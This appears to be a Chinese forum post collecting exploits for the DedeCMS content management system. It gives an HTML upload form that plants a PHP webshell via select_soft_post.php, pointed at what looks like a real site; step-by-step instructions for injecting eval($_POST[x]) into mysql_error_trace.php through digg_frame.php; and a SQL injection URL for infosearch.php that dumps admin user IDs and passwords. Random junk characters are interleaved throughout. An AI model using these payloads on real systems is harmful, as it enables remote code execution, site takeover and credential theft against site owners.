7 X& j$ D1 k/ A% }6 v# H) i! m8 i( e. V* A/ c

) f- @& m9 Q0 h7 _  y" \4 m织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
1 N; g5 p1 c! x* L  v<html>
4 C3 k3 K8 u$ f3 W( C7 H$ q+ O9 m<head>
4 Q; E3 V( J& J# D. U# Q9 E, f<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>- ]/ a) s+ T8 V9 Z6 |
</head>
2 `$ |: ?" J% y, X6 F5 i<body style="FONT-SIZE: 9pt">) w1 `: g. a, X2 }" c
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />! ]7 X" s6 C0 H* k; W( t
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>) G/ u+ X  t) U& t
<input type='hidden' name='activepath' value='/data/cache/' />; Q8 ~4 m: ^, }  p) I
<input type='hidden' name='cfg_basedir' value='../../' />" z2 W( W  _0 N1 G+ z( m' I/ H
<input type='hidden' name='cfg_imgtype' value='php' />4 J. ^$ @2 L, r# O: K, E
<input type='hidden' name='cfg_not_allowall' value='txt' />& }. J% O3 V1 P% c
<input type='hidden' name='cfg_softtype' value='php' />3 R/ E: U7 b0 C: A5 F" N, S9 P
<input type='hidden' name='cfg_mediatype' value='php' />
& m2 M6 l: Q+ g# k<input type='hidden' name='f' value='form1.enclosure' />) R, o# P. b. D4 M- L1 Q
<input type='hidden' name='job' value='upload' />
" w; P8 Z5 q" N5 c/ G' }2 d9 F<input type='hidden' name='newname' value='fly.php' />$ s, j; _; U$ [5 m8 S2 G( L5 h9 Y
Select U Shell <input type='file' name='uploadfile' size='25' />' k; I& ]3 [+ f+ E+ E/ m
<input type='submit' name='sb1' value='确定' />0 m1 v, o$ a+ A3 x; A
</form>9 L/ D' K% T( V; U
<br />It's just a exp for the bug of Dedecms V55...<br />
/ ]# ]7 B  [7 Y/ Y0 [) l" K' {! }3 [& eNeed register_globals = on...<br />4 i$ ]- J/ @: e! ^  L! C
Fun the game,get a webshell at /data/cache/fly.php...<br />6 V! L4 p) C7 m
</body>
1 j4 t6 o6 g: I! h. [</html>' G7 X) l; v6 G  y9 u, l( }& c

2 k# S: C% g- T: S4 K7 a% |0 @) N7 j3 r$ D
$ ]& s5 P1 T% E' B

- v' O% S2 R. y5 U! Y+ k& |) z- P8 n7 Y

2 O- D& r. Y" p/ K4 E: t# e4 O. F0 a, R8 ]' c, z4 q5 a5 e7 _# L
  i8 a& Z2 x: f" K6 a  I# _

" p9 H2 b- q2 h; z) r) k* a, X" {
- a2 k$ a! o! E. ^8 Z- i4 F织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
6 p9 n0 P! D  k. t  W3 m* ?5 l利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。! W. S9 O# s% L# F. s+ e3 p
1. 访问网址:
1 R) u0 Q+ v" Y$ l  W
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
- Y7 l- C6 Y! _& K  T可看见错误信息& ~% J: b) ?$ {3 o7 y* m
" d4 I6 a! a$ v, S7 L; N3 Z
0 A) m* M' t; n7 P. v
2. 访问
http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。) d/ U* m: f) E4 G: \1 ^
int(3) Error: Illegal double '1024e1024' value found during parsing
$ D4 F. f1 K& ~1 U( n- s" HError sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
  s6 Q9 z' `4 @: ~2 |5 J) F/ Y6 {& G0 O
5 H& n% p4 w' S; U. n
3. 执行dede.rar里的文件 test.html,注意 form 中 action 的地址是0 R# t$ a" a  j) E3 m5 E
8 [$ H# [1 z7 \+ o7 B

+ q; ~9 |: a8 Y4 U  O# X<form action=”
http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>
/ y; j* L/ |( Y" U8 ?1 |! }
0 ~% f4 A5 i, X+ i
, A/ h( n# H9 _& r按确定后的看到第2步骤的信息表示文件木马上传成功.& q3 @4 ~/ N0 \% ?  @
+ A  |' J8 q- C* S& _, L

8 j$ J7 }" ]* |; `, j4 V; j' c3 O. e

, ~+ H/ A  @$ W7 z1 R  {1 A' O9 H3 F( S- _# @0 T1 z* A

* t/ Z1 E( M, y' F! I: d  ]
# O. K, _( ]! ~4 P9 T; H8 o' `+ c( l  Q! ^

+ m) z* W0 V  b$ A; ?$ Z# C
9 ?& n. Z: Z! e0 H& [" h$ k6 I- l$ Z/ y1 N8 A+ {
0 C7 [, S3 I6 i3 Z) f* ]
织梦(DedeCms)plus/infosearch.php 文件注入漏洞
7 a( R: K6 b- ^0 r5 D- Fhttp://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表